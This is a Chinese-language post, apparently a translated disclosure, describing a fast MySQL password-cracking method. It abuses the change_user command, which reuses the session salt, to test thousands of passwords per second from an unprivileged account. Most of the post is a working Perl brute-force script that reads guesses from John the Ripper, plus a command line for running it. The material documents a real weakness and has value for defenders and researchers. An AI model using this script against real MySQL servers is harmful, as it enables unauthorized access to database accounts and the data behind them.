快速的 MySQL 本地和遠程密碼破解!首先需要對數據庫維護人員說明的是,不必緊張,你無需修補這個問題,看起來其實是個小錯誤而已。
我找到一個方法可非常高效的破解 MySQL 的用戶密碼,包括本地用戶和通過網絡方式訪問的用戶密碼。在我的測試中,通過網絡方式的方法可每秒鐘測試 5000 個密碼。
方法如下:
攻擊者使用一個無特權帳號登錄到 MySQL 服務器,mysql 有一個名為 change_user 的命令,該命令可用於在 mysql 會話中修改用戶時的名字建議。因為這個命令執行非常快,因此可以很快速的用來破解 mysql 密碼,而不是每次都重新連接到 mysql 服務器。
是什麼導致非常慢?
因為使用 change_user 命令不會更改 SALT(這是一個弱點),而常規破解密碼的方法每次連接時服務器都發送不同的 SALT。
下面是一個 Perl 腳本使用了 John the Ripper 的方法來生成密碼:
測試的用戶是 crackme 密碼為 pass,只需數秒就可破解。
(大約 20 秒鐘可測試 10 萬密碼)
測試腳本如下:01
use
Net::MySQL;
02
03
$|=1;
04
05
my
$mysql
= Net::MySQL->new(
06
hostname =>
'192.168.2.3'
,
07
database =>
'test'
,
08
user =>
"user"
,
09
password =>
"secret"
,
10
debug => 0,
11
);
12
13
$crackuser
=
"crackme"
;
14
15
while
(<stdin>) {
16
chomp
;
17
$currentpass
=
$_
;
18
19
$vv
=
join
"\0"
,
20
$crackuser
,
21
"\x14"
.
22
Net::MySQL::Password->scramble(
23
$currentpass
,
$mysql
->{salt},
$mysql
->{client_capabilities}
24
) .
"\0"
;
25
if
(
$mysql
->_execute_command(
"\x11"
,
$vv
) ne
undef
) {
26
print
"[*] Cracked! --> $currentpass\n"
;
27
exit
;
28
}
29
}
下面是我這台機器上的執行結果:
C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.plSession aborted
祝你好運:)
via grok